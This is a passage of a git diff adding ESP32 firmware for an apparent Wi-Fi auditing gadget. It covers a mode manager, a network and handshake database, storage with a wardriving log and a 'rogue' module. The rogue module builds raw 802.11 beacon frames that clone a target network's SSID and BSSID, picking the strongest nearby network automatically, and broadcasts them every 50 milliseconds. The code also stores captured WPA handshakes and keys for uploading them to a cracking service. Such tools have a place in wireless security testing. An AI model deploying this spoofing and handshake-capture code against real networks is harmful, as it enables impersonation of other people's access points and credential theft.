_apNetifHandle = esp_netif_create_default_wifi_ap(); + } + + if (_netifMutex != nullptr) { + xSemaphoreGive(_netifMutex); + } + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + vTaskDelay(pdMS_TO_TICKS(100)); + + wifi_config_t ap_config = {0}; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 0; + ap_config.ap.beacon_interval = 100; + ap_config.ap.ssid[0] = 0; + ap_config.ap.ssid_len = 0; + esp_wifi_set_config(WIFI_IF_AP, &ap_config); + + esp_wifi_start(); + vTaskDelay(pdMS_TO_TICKS(500)); + + RogueManager& rogue = getRogueManager(); + rogue.loadFromNVS(); + + if (!rogue.getTarget().valid) { + const auto& networks = getNetworkDatabase().getNetworks(); + if (!networks.empty()) { + rogue.autoSelectStrongest(networks); + } + } + + rogue.start(); + _beaconSpamming = true; +} + +void ModeManager::stopRogueMode() { + if (!_beaconSpamming) return; + + getRogueManager().stop(); + _beaconSpamming = false; + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "ROGUE mode stopped"); +} + +static void configModeTask(void* param) { + (void)param; + ESP_LOGI(TAG, "Config mode task starting..."); + vTaskDelay(pdMS_TO_TICKS(200)); + getWebManager().start(); + if (getWebManager().isRunning()) { + ESP_LOGI(TAG, "Config mode ready - visit http://192.168.4.1"); + } else { + ESP_LOGW(TAG, "HTTP server failed to start!"); + } + + while (getModeManager().isConfigModeActive()) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + vTaskDelete(NULL); +} + +void ModeManager::startConfigMode() { + if (_configModeActive) return; + + ESP_LOGI(TAG, "Starting CONFIG mode"); + + deinitWiFi(); + + initAPNetif(); + + if (_netifMutex != nullptr) { + xSemaphoreTake(_netifMutex, portMAX_DELAY); + } + + if (!_apNetifHandle) { + _apNetifHandle = esp_netif_create_default_wifi_ap(); + } + + if (_netifMutex != nullptr) { + xSemaphoreGive(_netifMutex); + } + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(200)); + + ret = esp_wifi_set_mode(WIFI_MODE_AP); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi AP mode failed: %d", ret); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); + + wifi_config_t ap_config = {}; + strcpy((char*)ap_config.ap.ssid, "StackChan-Config"); + ap_config.ap.ssid_len = 16; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 4; + esp_wifi_set_config(WIFI_IF_AP, &ap_config); + + esp_wifi_start(); + vTaskDelay(pdMS_TO_TICKS(500)); + + esp_netif_ip_info_t ip_info = {0}; + ip_info.ip.addr = ((uint32_t)192 << 24) | ((uint32_t)168 << 16) | ((uint32_t)4 << 8) | (uint32_t)1; + ip_info.netmask.addr = ((uint32_t)255 << 24) | ((uint32_t)255 << 16) | ((uint32_t)255 << 8) | (uint32_t)0; + ip_info.gw.addr = ip_info.ip.addr; + esp_netif_set_ip_info(_apNetifHandle, &ip_info); + + vTaskDelay(pdMS_TO_TICKS(200)); + + esp_netif_ip_info_t ip; + if (esp_netif_get_ip_info(_apNetifHandle, &ip) == ESP_OK) { + ESP_LOGI(TAG, "AP IP: " IPSTR, IP2STR(&ip.ip)); + } else { + ESP_LOGW(TAG, "Failed to get AP IP info"); + } + + _configModeActive = true; + xTaskCreate(configModeTask, "config_task", 4096, NULL, 5, &_configTaskHandle); + + ESP_LOGI(TAG, "CONFIG mode active"); +} + +void ModeManager::stopConfigMode() { + if (!_configModeActive) return; + + _configModeActive = false; + + if (_configTaskHandle) { + vTaskDelay(pdMS_TO_TICKS(200)); + if (_configTaskHandle) { + vTaskDelete(_configTaskHandle); + _configTaskHandle = nullptr; + } + } + + getWebManager().stop(); + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + ESP_LOGI(TAG, "CONFIG mode stopped"); +} + +void ModeManager::update() { + if (_currentMode == Mode::HUNT || _currentMode == Mode::WARDIVE || + _currentMode == Mode::SPECTRUM || _currentMode == Mode::SCOUT) { + getWifiScanner().update(); + } +} + +void ModeManager::shutdown() { + stopMode(_currentMode); + _currentMode = Mode::IDLE; + _currentMood = Mood::NEUTRAL; + + if (_apNetifHandle) { + esp_netif_destroy(_apNetifHandle); + _apNetifHandle = nullptr; + } + + ESP_LOGI(TAG, "ModeManager shutdown"); +} + +static ModeManager _modeManager; + +ModeManager& getModeManager() { + return _modeManager; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode_manager.h b/firmware/main/gotchi/mode_manager.h new file mode 100644 index 0000000..0c6bde0 --- /dev/null +++ b/firmware/main/gotchi/mode_manager.h @@ -0,0 +1,55 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include +#include +#include + +namespace gotchi { + +class ModeManager { +public: + ModeManager(); + ~ModeManager(); + + Mode getCurrentMode() const; + Mood getCurrentMood() const; + bool isBeaconSpamming() const { return _beaconSpamming; } + bool isConfigModeActive() const { return _configModeActive; } + + void setMode(Mode mode); + void setMood(Mood mood); + + void update(); + void shutdown(); + +private: + void startMode(Mode mode); + void stopMode(Mode mode); + + void startRogueMode(); + void stopRogueMode(); + void startConfigMode(); + void stopConfigMode(); + + void initAPNetif(); + void deinitWiFi(); + + Mode _currentMode; + Mood _currentMood; + bool _beaconSpamming; + bool _configModeActive; + TaskHandle_t _configTaskHandle; + SemaphoreHandle_t _netifMutex; + static bool _netifInitialized; + static esp_netif_t* _apNetifHandle; +}; + +ModeManager& getModeManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/network_db.cpp b/firmware/main/gotchi/network_db.cpp new file mode 100644 index 0000000..17e6e68 --- /dev/null +++ b/firmware/main/gotchi/network_db.cpp @@ -0,0 +1,205 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "network_db"; + +namespace gotchi { + +NetworkDatabase::NetworkDatabase() : _networksFound(0) { +} + +void NetworkDatabase::clear() { + _networks.clear(); +} + +void NetworkDatabase::clearHandshakes() { + _handshakes.clear(); +} + +void NetworkDatabase::clearBLEDevices() { + _bleDevices.clear(); +} + +NetworkInfo* NetworkDatabase::findNetwork(const uint8_t* bssid) { + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + return &net; + } + } + return nullptr; +} + +NetworkInfo* NetworkDatabase::addNetwork(const char* ssid, const uint8_t* bssid, int8_t rssi, uint8_t channel) { + if (_networks.size() >= MAX_NETWORKS) { + return nullptr; + } + + if (channel < 1 || channel > 14) { + channel = 1; + } + + NetworkInfo net; + memset(net.ssid, 0, 33); + if (ssid) { + strncpy(net.ssid, ssid, 32); + } + memcpy(net.bssid, bssid, 6); + net.rssi = rssi; + net.channel = channel; + net.isHidden = false; + net.hasCapture = false; + net.lastSeen = 0; + + _networks.push_back(net); + _networksFound++; + + return &_networks.back(); +} + +void NetworkDatabase::updateNetworkRSSI(const uint8_t* bssid, int8_t rssi) { + NetworkInfo* net = findNetwork(bssid); + if (net) { + net->rssi = rssi; + } +} + +bool NetworkDatabase::hasCompleteHandshake(const uint8_t* bssid) const { + for (const auto& hs : _handshakes) { + if (hs.isComplete && memcmp(hs.bssid, bssid, 6) == 0) { + return true; + } + } + return false; +} + +void NetworkDatabase::addHandshake(const HandshakeInfo& hs) { + if (_handshakes.size() >= MAX_HANDSHAKES) { + _handshakes.erase(_handshakes.begin()); + } + _handshakes.push_back(hs); +} + +int NetworkDatabase::getHandshakeCount() const { + int count = 0; + for (const auto& hs : _handshakes) { + if (hs.isComplete) count++; + } + return count; +} + +void NetworkDatabase::markNetworkHasCapture(const uint8_t* bssid) { + for (auto& net : _networks) { + if (memcmp(net.bssid, bssid, 6) == 0) { + net.hasCapture = true; + break; + } + } +} + +BLEDeviceInfo* NetworkDatabase::findBLEDevice(const uint8_t* mac) { + for (auto& dev : _bleDevices) { + if (memcmp(dev.mac, mac, 6) == 0) { + return &dev; + } + } + return nullptr; +} + +BLEDeviceInfo* NetworkDatabase::addBLEDevice(const uint8_t* mac, int8_t rssi, uint8_t advType) { + if (_bleDevices.size() >= MAX_BLE_DEVICES) { + return nullptr; + } + + BLEDeviceInfo dev = {}; + memcpy(dev.mac, mac, 6); + dev.rssi = rssi; + dev.advType = advType; + dev.lastSeen = 0; + dev.name[0] = '\0'; + + _bleDevices.push_back(dev); + + return &_bleDevices.back(); +} + +std::vector NetworkDatabase::getChannelAnalysis() const { + std::vector channelInfo(14); + + for (int i = 0; i < 14; i++) { + channelInfo[i].channel = i + 1; + channelInfo[i].networkCount = 0; + channelInfo[i].maxRssi = -100; + channelInfo[i].avgRssi = -100; + } + + int channelSum[14] = {0}; + int channelCount[14] = {0}; + + for (const auto& net : _networks) { + if (net.channel >= 1 && net.channel <= 14) { + int idx = net.channel - 1; + channelInfo[idx].networkCount++; + channelSum[idx] += net.rssi; + channelCount[idx]++; + if (net.rssi > channelInfo[idx].maxRssi) { + channelInfo[idx].maxRssi = net.rssi; + } + } + } + + for (int i = 0; i < 14; i++) { + if (channelCount[i] > 0) { + channelInfo[i].avgRssi = channelSum[i] / channelCount[i]; + } + } + + return channelInfo; +} + +void NetworkDatabase::loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved network data in NVS"); + return; + } + + uint32_t savedNetworks = 0; + if (nvs_get_u32(nvs, "netsfound", &savedNetworks) == ESP_OK) { + _networksFound = savedNetworks; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded from NVS: NetworksFound=%u", (unsigned)_networksFound); +} + +void NetworkDatabase::saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) { + ESP_LOGW(TAG, "Failed to open NVS for writing network data"); + return; + } + + nvs_set_u32(nvs, "netsfound", _networksFound); + nvs_set_u32(nvs, "netscnt", (uint32_t)_networks.size()); + nvs_commit(nvs); + nvs_close(nvs); + + ESP_LOGI(TAG, "Saved to NVS: NetworksFound=%u, Networks=%u", + (unsigned)_networksFound, (unsigned)_networks.size()); +} + +static NetworkDatabase _networkDatabase; + +NetworkDatabase& getNetworkDatabase() { + return _networkDatabase; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/network_db.h b/firmware/main/gotchi/network_db.h new file mode 100644 index 0000000..e7f9f52 --- /dev/null +++ b/firmware/main/gotchi/network_db.h @@ -0,0 +1,62 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +namespace gotchi { + +class NetworkDatabase { +public: + NetworkDatabase(); + + void clear(); + void clearHandshakes(); + void clearBLEDevices(); + + // Network operations + NetworkInfo* findNetwork(const uint8_t* bssid); + NetworkInfo* addNetwork(const char* ssid, const uint8_t* bssid, int8_t rssi, uint8_t channel); + void updateNetworkRSSI(const uint8_t* bssid, int8_t rssi); + const std::vector& getNetworks() const { return _networks; } + int getNetworkCount() const { return (int)_networks.size(); } + uint32_t getNetworksFound() const { return _networksFound; } + void incrementNetworksFound() { _networksFound++; } + + // Handshake operations + bool hasCompleteHandshake(const uint8_t* bssid) const; + void addHandshake(const HandshakeInfo& hs); + const std::vector& getHandshakes() const { return _handshakes; } + int getHandshakeCount() const; + void markNetworkHasCapture(const uint8_t* bssid); + + // BLE operations + BLEDeviceInfo* findBLEDevice(const uint8_t* mac); + BLEDeviceInfo* addBLEDevice(const uint8_t* mac, int8_t rssi, uint8_t advType); + const std::vector& getBLEDevices() const { return _bleDevices; } + int getBLEDeviceCount() const { return (int)_bleDevices.size(); } + + // Channel analysis + std::vector getChannelAnalysis() const; + + // Persistence + void loadFromNVS(); + void saveToNVS(); + +private: + static const int MAX_NETWORKS = 200; + static const int MAX_HANDSHAKES = 50; + static const int MAX_BLE_DEVICES = 100; + + std::vector _networks; + std::vector _handshakes; + std::vector _bleDevices; + uint32_t _networksFound; +}; + +NetworkDatabase& getNetworkDatabase(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/rogue_manager.cpp b/firmware/main/gotchi/rogue_manager.cpp new file mode 100644 index 0000000..ee6068c --- /dev/null +++ b/firmware/main/gotchi/rogue_manager.cpp @@ -0,0 +1,222 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "rogue_manager.h" +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_rogue"; + +namespace gotchi { + +static RogueManager _instance; + +RogueManager& getRogueManager() { + return _instance; +} + +RogueManager::RogueManager() + : _taskHandle(nullptr) + , _beaconSpamming(false) + , _autoMode(true) { + memset(&_target, 0, sizeof(_target)); + _target.valid = false; + _target.channel = 6; +} + +RogueManager::~RogueManager() { + stop(); +} + +void RogueManager::setTargetNetwork(const char* ssid, const uint8_t* bssid, uint8_t channel) { + memset(&_target, 0, sizeof(_target)); + if (ssid) { + strncpy(_target.ssid, ssid, sizeof(_target.ssid) - 1); + } + if (bssid) { + memcpy(_target.bssid, bssid, 6); + } + _target.channel = channel > 0 ? channel : 6; + _target.valid = true; + _autoMode = false; + + ESP_LOGI(TAG, "Target set: %s (ch:%d)", _target.ssid, _target.channel); + for (int i = 0; i < 6; i++) { + printf("%02X", _target.bssid[i]); + if (i < 5) printf(":"); + } + printf("\n"); +} + +void RogueManager::autoSelectStrongest(const std::vector& networks) { + if (networks.empty()) { + ESP_LOGW(TAG, "No networks to select from"); + _target.valid = false; + return; + } + + int8_t bestRssi = -100; + const NetworkInfo* best = nullptr; + + for (const auto& net : networks) { + if (net.rssi > bestRssi) { + bestRssi = net.rssi; + best = &net; + } + } + + if (best) { + setTargetNetwork(best->ssid, best->bssid, best->channel); + _autoMode = true; + ESP_LOGI(TAG, "Auto-selected strongest: %s (RSSI:%d, ch:%d)", + _target.ssid, bestRssi, _target.channel); + } +} + +void RogueManager::loadFromNVS() { + nvs_handle_t nvs; + if (nvs_open("rogue", NVS_READONLY, &nvs) == ESP_OK) { + char ssid[33] = {0}; + uint8_t bssid[6] = {0}; + uint8_t channel = 6; + uint8_t autoVal = 1; + + size_t len = sizeof(ssid); + if (nvs_get_str(nvs, "ssid", ssid, &len) == ESP_OK) { + size_t bssidLen = sizeof(bssid); + nvs_get_blob(nvs, "bssid", bssid, &bssidLen); + nvs_get_u8(nvs, "channel", &channel); + nvs_get_u8(nvs, "auto", &autoVal); + _autoMode = (autoVal != 0); + setTargetNetwork(ssid, bssid, channel); + ESP_LOGI(TAG, "Loaded from NVS: %s (ch:%d, auto:%d)", ssid, channel, _autoMode); + } + nvs_close(nvs); + } +} + +void RogueManager::saveToNVS() { + if (!_target.valid) return; + + nvs_handle_t nvs; + if (nvs_open("rogue", NVS_READWRITE, &nvs) == ESP_OK) { + nvs_set_str(nvs, "ssid", _target.ssid); + nvs_set_blob(nvs, "bssid", _target.bssid, 6); + nvs_set_u8(nvs, "channel", _target.channel); + nvs_set_u8(nvs, "auto", _autoMode ? 1 : 0); + nvs_commit(nvs); + nvs_close(nvs); + ESP_LOGI(TAG, "Saved to NVS: %s", _target.ssid); + } +} + +void RogueManager::sendBeaconFrame() { + if (!_target.valid) return; + + uint8_t beacon[128]; + memset(beacon, 0, sizeof(beacon)); + + // Beacon frame header + beacon[0] = 0x80; // Beacon frame + beacon[1] = 0x00; + beacon[2] = 0x00; + beacon[3] = 0x00; + + // Broadcast destination + memset(&beacon[4], 0xFF, 6); + + // Source BSSID (our fake AP) + memcpy(&beacon[10], _target.bssid, 6); + + // BSSID + memcpy(&beacon[16], _target.bssid, 6); + + // Sequence + beacon[18] = 0x00; + beacon[19] = 0x00; + + // Timestamp + uint64_t timestamp = GetHAL().millis() * 1000; + for (int i = 0; i < 8; i++) { + beacon[20 + i] = (timestamp >> (i * 8)) & 0xFF; + } + + // Beacon interval + capability + beacon[28] = 0x64; // 100 TU + beacon[29] = 0x00; + + // SSID tag + beacon[30] = 0x00; // SSID + beacon[31] = strlen(_target.ssid); + memcpy(&beacon[32], _target.ssid, strlen(_target.ssid)); + + uint32_t pos = 32 + strlen(_target.ssid); + + // Supported rates + beacon[pos++] = 0x01; // Supported rates + beacon[pos++] = 4; + beacon[pos++] = 0x82; + beacon[pos++] = 0x84; + beacon[pos++] = 0x8B; + beacon[pos++] = 0x96; + + // DS Parameter set (channel) + beacon[pos++] = 0x03; // DS Parameter set + beacon[pos++] = 1; + beacon[pos++] = _target.channel; + + esp_wifi_80211_tx(WIFI_IF_AP, beacon, pos, false); +} + +void RogueManager::start() { + if (_beaconSpamming) return; + + ESP_LOGI(TAG, "Starting Rogue mode"); + + _beaconSpamming = true; + xTaskCreate(beaconTask, "rogue_task", 4096, this, 5, &_taskHandle); +} + +void RogueManager::stop() { + if (!_beaconSpamming) return; + + ESP_LOGI(TAG, "Stopping Rogue mode"); + _beaconSpamming = false; + + if (_taskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _taskHandle = nullptr; + } +} + +void RogueManager::beaconTask(void* param) { + RogueManager* self = (RogueManager*)param; + ESP_LOGI(TAG, "Rogue beacon task started"); + + uint32_t beaconCount = 0; + uint32_t lastLog = GetHAL().millis(); + + while (self->_beaconSpamming) { + if (self->_target.valid) { + self->sendBeaconFrame(); + beaconCount++; + } + + vTaskDelay(pdMS_TO_TICKS(50)); // 50ms between beacons + + if (GetHAL().millis() - lastLog > 5000) { + ESP_LOGI(TAG, "Beacons sent: %u, target: %s (ch:%d)", + beaconCount, self->_target.ssid, self->_target.channel); + lastLog = GetHAL().millis(); + } + } + + ESP_LOGI(TAG, "Rogue stopped, sent %u beacons", beaconCount); + vTaskDelete(NULL); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/rogue_manager.h b/firmware/main/gotchi/rogue_manager.h new file mode 100644 index 0000000..04ecc41 --- /dev/null +++ b/firmware/main/gotchi/rogue_manager.h @@ -0,0 +1,52 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +struct RogueTarget { + char ssid[33]; + uint8_t bssid[6]; + uint8_t channel; + int8_t rssi; + bool valid; +}; + +class RogueManager { +public: + RogueManager(); + ~RogueManager(); + + void start(); + void stop(); + bool isActive() const { return _beaconSpamming; } + + void setTargetNetwork(const char* ssid, const uint8_t* bssid, uint8_t channel); + void autoSelectStrongest(const std::vector& networks); + void setAutoMode(bool autoMode) { _autoMode = autoMode; } + bool isAutoMode() const { return _autoMode; } + + const RogueTarget& getTarget() const { return _target; } + const char* getTargetSSID() const { return _target.valid ? _target.ssid : "None"; } + uint8_t getTargetChannel() const { return _target.channel; } + + void loadFromNVS(); + void saveToNVS(); + +private: + void sendBeaconFrame(); + static void beaconTask(void* param); + + TaskHandle_t _taskHandle; + bool _beaconSpamming; + RogueTarget _target; + bool _autoMode; +}; + +RogueManager& getRogueManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/storage.cpp b/firmware/main/gotchi/storage.cpp new file mode 100644 index 0000000..1c162d9 --- /dev/null +++ b/firmware/main/gotchi/storage.cpp @@ -0,0 +1,603 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "storage.h" +#include "gotchi.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_storage"; +static bool _sdAvailable = false; +static bool _storageInitialized = false; +static wl_handle_t _wlHandle = WL_INVALID_HANDLE; +static bool _fsMounted = false; +static bool _useFlash = false; + +static const char* MOUNT_POINT = "/sdcard"; + +namespace gotchi { + +static int mkdir_recursive(const char* path) { + char tmp[256]; + char* p = nullptr; + size_t len; + + snprintf(tmp, sizeof(tmp), "%s", path); + len = strlen(tmp); + if (len > 0 && tmp[len - 1] == '/') { + tmp[len - 1] = 0; + } + + for (p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = 0; + if (mkdir(tmp, 0775) != 0 && errno != EEXIST) { + return -1; + } + *p = '/'; + } + } + + if (mkdir(tmp, 0775) != 0 && errno != EEXIST) { + return -1; + } + + return 0; +} + +bool initStorage() { + if (_storageInitialized) return _sdAvailable; + + ESP_LOGI(TAG, "Initializing storage..."); + + // SPI bus is already initialized by LCD driver + // Just log that we're using the shared bus + ESP_LOGI(TAG, "Using SPI bus (shared with LCD)"); + + // Add small delay to allow SD card to stabilize after power-on + vTaskDelay(pdMS_TO_TICKS(50)); + + esp_err_t ret; + + sdmmc_host_t host = SDSPI_HOST_DEFAULT(); + host.slot = SPI3_HOST; + host.max_freq_khz = 200000; + + sdspi_device_config_t slot_config = { + .host_id = SPI3_HOST, + .gpio_cs = GPIO_NUM_4, + .gpio_cd = GPIO_NUM_NC, + .gpio_wp = GPIO_NUM_NC, + .gpio_int = GPIO_NUM_NC, + }; + + esp_vfs_fat_mount_config_t mount_config = { + .format_if_mount_failed = true, + .max_files = 5, + .allocation_unit_size = 4096 + }; + + ESP_LOGI(TAG, "Mounting SD card on SPI3..."); + + ret = esp_vfs_fat_sdspi_mount(MOUNT_POINT, &host, &slot_config, &mount_config, NULL); + + if (ret == ESP_OK) { + _sdAvailable = true; + _fsMounted = true; + _useFlash = false; + ESP_LOGI(TAG, "SD card mounted successfully!"); + } else { + ESP_LOGW(TAG, "SD card mount failed: %s (this may be expected if LCD uses SPI)", esp_err_to_name(ret)); + + ESP_LOGI(TAG, "Trying internal flash FATFS partition..."); + + ret = esp_vfs_fat_spiflash_mount_rw_wl(MOUNT_POINT, "storage", &mount_config, &_wlHandle); + + if (ret == ESP_OK) { + _sdAvailable = true; + _fsMounted = true; + _useFlash = true; + ESP_LOGI(TAG, "Using internal flash FATFS partition"); + } else { + ESP_LOGE(TAG, "Flash partition mount failed: %s", esp_err_to_name(ret)); + _sdAvailable = false; + } + } + + _storageInitialized = true; + + if (_sdAvailable) { + ESP_LOGI(TAG, "Storage initialization complete (type: %s)", _useFlash ? "flash" : "SD card"); + } else { + ESP_LOGW(TAG, "Storage initialization failed - using NVS only"); + } + + return _sdAvailable; +} + +void deinitStorage() { + if (_fsMounted && _sdAvailable) { + if (_useFlash) { + esp_vfs_fat_spiflash_unmount_rw_wl(MOUNT_POINT, _wlHandle); + } else { + esp_vfs_fat_sdcard_unmount(MOUNT_POINT, NULL); + } + _fsMounted = false; + } + + _storageInitialized = false; + _sdAvailable = false; +} + +bool hasStorage() { + return _sdAvailable; +} + +bool loadConfig(GotchiConfig& config) { + if (!_sdAvailable) return false; + + char path[128]; + snprintf(path, sizeof(path), "%s/config.json", MOUNT_POINT); + + FILE* f = fopen(path, "r"); + if (!f) { + ESP_LOGI(TAG, "Config file not found, using defaults"); + return false; + } + + // Read file content + fseek(f, 0, SEEK_END); + long fileSize = ftell(f); + fseek(f, 0, SEEK_SET); + + char* jsonBuffer = (char*)malloc(fileSize + 1); + if (!jsonBuffer) { + fclose(f); + return false; + } + + size_t bytesRead = fread(jsonBuffer, 1, fileSize, f); + jsonBuffer[bytesRead] = '\0'; + fclose(f); + + // Parse JSON + ArduinoJson::JsonDocument doc; + ArduinoJson::DeserializationError error = ArduinoJson::deserializeJson(doc, jsonBuffer); + free(jsonBuffer); + + if (error) { + ESP_LOGW(TAG, "Config JSON parse failed: %s", error.c_str()); + return false; + } + + // Load values with defaults + if (doc["defaultMode"].is()) { + strncpy(config.defaultMode, doc["defaultMode"].as(), 15); + config.defaultMode[15] = '\0'; + } + if (doc["neonBrightness"].is()) { + config.neonBrightness = doc["neonBrightness"].as(); + } + if (doc["headSpeed"].is()) { + config.headSpeed = doc["headSpeed"].as(); + } + if (doc["autoRotateModes"].is()) { + config.autoRotateModes = doc["autoRotateModes"].as(); + } + if (doc["audioEnabled"].is()) { + config.audioEnabled = doc["audioEnabled"].as(); + } + if (doc["wigleApiKey"].is()) { + strncpy(config.wigleApiKey, doc["wigleApiKey"].as(), 127); + config.wigleApiKey[127] = '\0'; + } + if (doc["wigleUsername"].is()) { + strncpy(config.wigleUsername, doc["wigleUsername"].as(), 63); + config.wigleUsername[63] = '\0'; + } + if (doc["wpasecKey"].is()) { + strncpy(config.wpasecKey, doc["wpasecKey"].as(), 127); + config.wpasecKey[127] = '\0'; + } + if (doc["autoWigleUpload"].is()) { + config.autoWigleUpload = doc["autoWigleUpload"].as(); + } + if (doc["autoWpasecUpload"].is()) { + config.autoWpasecUpload = doc["autoWpasecUpload"].as(); + } + if (doc["logRotationDays"].is()) { + config.logRotationDays = doc["logRotationDays"].as(); + } + if (doc["maxNetworks"].is()) { + config.maxNetworks = doc["maxNetworks"].as(); + } + if (doc["huntDisclaimerShown"].is()) { + config.huntDisclaimerShown = doc["huntDisclaimerShown"].as(); + } + if (doc["huntEnabled"].is()) { + config.huntEnabled = doc["huntEnabled"].as(); + } + if (doc["rogueEnabled"].is()) { + config.rogueEnabled = doc["rogueEnabled"].as(); + } + + ESP_LOGI(TAG, "Config loaded from JSON"); + return true; +} + +bool saveConfig(const GotchiConfig& config) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/config.json", MOUNT_POINT); + + ArduinoJson::JsonDocument doc; + doc["defaultMode"] = config.defaultMode; + doc["neonBrightness"] = config.neonBrightness; + doc["headSpeed"] = config.headSpeed; + doc["autoRotateModes"] = config.autoRotateModes; + doc["audioEnabled"] = config.audioEnabled; + doc["wigleApiKey"] = config.wigleApiKey; + doc["wigleUsername"] = config.wigleUsername; + doc["wpasecKey"] = config.wpasecKey; + doc["autoWigleUpload"] = config.autoWigleUpload; + doc["autoWpasecUpload"] = config.autoWpasecUpload; + doc["logRotationDays"] = config.logRotationDays; + doc["maxNetworks"] = config.maxNetworks; + doc["huntDisclaimerShown"] = config.huntDisclaimerShown; + doc["huntEnabled"] = config.huntEnabled; + doc["rogueEnabled"] = config.rogueEnabled; + + // Serialize to string first, then write to file + std::string jsonStr; + ArduinoJson::serializeJson(doc, jsonStr); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "%s", jsonStr.c_str()); + fclose(f); + + ESP_LOGI(TAG, "Config saved to JSON"); + return true; +} + +bool saveNetworks(const std::vector& networks) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/networks", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/networks.json", MOUNT_POINT); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "[\n"); + for (size_t i = 0; i < networks.size(); i++) { + fprintf(f, " {\"ssid\": \"%s\", \"bssid\": \"%02x:%02x:%02x:%02x:%02x:%02x\", \"rssi\": %d, \"channel\": %d}", + networks[i].ssid, + networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2], + networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5], + (int)networks[i].rssi, (int)networks[i].channel); + if (i < networks.size() - 1) fprintf(f, ","); + fprintf(f, "\n"); + } + fprintf(f, "]\n"); + + fclose(f); + return true; +} + +int loadNetworks(std::vector& networks) { + if (!_sdAvailable) return 0; + + char path[128]; + snprintf(path, sizeof(path), "%s/networks.json", MOUNT_POINT); + + FILE* f = fopen(path, "r"); + if (!f) return 0; + + networks.clear(); + NetworkInfo net; + int matched = fscanf(f, "{\"ssid\": \"%[^\"]\", \"bssid\": \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\", \"rssi\": %hhd, \"channel\": %hhu}", + net.ssid, &net.bssid[0], &net.bssid[1], &net.bssid[2], &net.bssid[3], &net.bssid[4], &net.bssid[5], + &net.rssi, &net.channel); + + while (matched == 9) { + net.isHidden = false; + net.hasCapture = false; + net.lastSeen = 0; + networks.push_back(net); + matched = fscanf(f, "{\"ssid\": \"%[^\"]\", \"bssid\": \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\", \"rssi\": %hhd, \"channel\": %hhu}", + net.ssid, &net.bssid[0], &net.bssid[1], &net.bssid[2], &net.bssid[3], &net.bssid[4], &net.bssid[5], + &net.rssi, &net.channel); + } + + fclose(f); + return networks.size(); +} + +bool saveNetworkToCSV(const NetworkInfo& net, const GPSData& gps) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/wardriving", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/wardrive.csv", MOUNT_POINT); + + FILE* f = fopen(path, "a"); + if (!f) return false; + + fprintf(f, 